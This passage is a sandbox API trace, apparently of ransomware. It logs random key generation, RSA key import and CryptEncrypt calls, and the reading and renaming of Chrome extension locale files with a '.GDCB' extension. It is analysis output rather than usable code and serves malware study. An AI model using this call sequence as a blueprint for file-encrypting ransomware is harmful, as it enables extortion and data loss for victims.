1 [0267.193] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.196] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.198] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.198] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.198] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.201] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67967e0) returned 1 [0267.201] CryptGetKeyParam (in: hKey=0x67967e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.201] CryptEncrypt (in: hKey=0x67967e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.201] GetLastError () returned 0x0 [0267.201] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.201] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.203] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67965a0) returned 1 [0267.207] CryptGetKeyParam (in: hKey=0x67965a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.207] CryptEncrypt (in: hKey=0x67965a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.208] GetLastError () returned 0x0 [0267.208] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.208] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.209] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.212] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.214] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x13e, lpOverlapped=0x0) returned 1 [0267.223] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.230] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0267.236] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.241] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.241] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.241] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.241] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.245] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.246] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.249] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796220) returned 1 [0267.249] CryptGetKeyParam (in: hKey=0x6796220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.249] CryptEncrypt (in: hKey=0x6796220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.250] GetLastError () returned 0x0 [0267.250] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.250] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.252] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796520) returned 1 [0267.252] CryptGetKeyParam (in: hKey=0x6796520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.252] CryptEncrypt (in: hKey=0x6796520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.252] GetLastError () returned 0x0 [0267.252] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.252] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.253] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.256] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.259] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc8, lpOverlapped=0x0) returned 1 [0267.267] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.274] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.gdcb")) returned 1 [0267.279] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.282] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.284] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.284] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.284] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.288] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.288] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.289] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.291] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796820) returned 1 [0267.291] CryptGetKeyParam (in: hKey=0x6796820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.291] CryptEncrypt (in: hKey=0x6796820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.291] GetLastError () returned 0x0 [0267.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.291] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.293] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67963e0) returned 1 [0267.293] CryptGetKeyParam (in: hKey=0x67963e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.293] CryptEncrypt (in: hKey=0x67963e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.294] GetLastError () returned 0x0 [0267.294] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.294] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.295] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.298] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.300] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc6, lpOverlapped=0x0) returned 1 [0267.309] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.326] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0267.332] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.337] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.337] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.337] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.337] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.342] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.342] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.345] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67966a0) returned 1 [0267.345] CryptGetKeyParam (in: hKey=0x67966a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.345] CryptEncrypt (in: hKey=0x67966a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.345] GetLastError () returned 0x0 [0267.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.345] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.347] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67966e0) returned 1 [0267.347] CryptGetKeyParam (in: hKey=0x67966e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.347] CryptEncrypt (in: hKey=0x67966e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.347] GetLastError () returned 0x0 [0267.347] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.347] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.348] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.351] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.353] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x299, lpOverlapped=0x0) returned 1 [0267.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.367] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json.gdcb")) returned 1 [0267.373] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.378] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.378] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.378] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.382] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.382] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.382] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.382] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.385] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796260) returned 1 [0267.385] CryptGetKeyParam (in: hKey=0x6796260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.385] CryptEncrypt (in: hKey=0x6796260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.385] GetLastError () returned 0x0 [0267.385] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.385] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.387] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796860) returned 1 [0267.387] CryptGetKeyParam (in: hKey=0x6796860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.387] CryptEncrypt (in: hKey=0x6796860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.387] GetLastError () returned 0x0 [0267.387] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.387] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.389] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.392] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.394] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbb, lpOverlapped=0x0) returned 1 [0267.403] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.409] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0267.414] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.419] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, 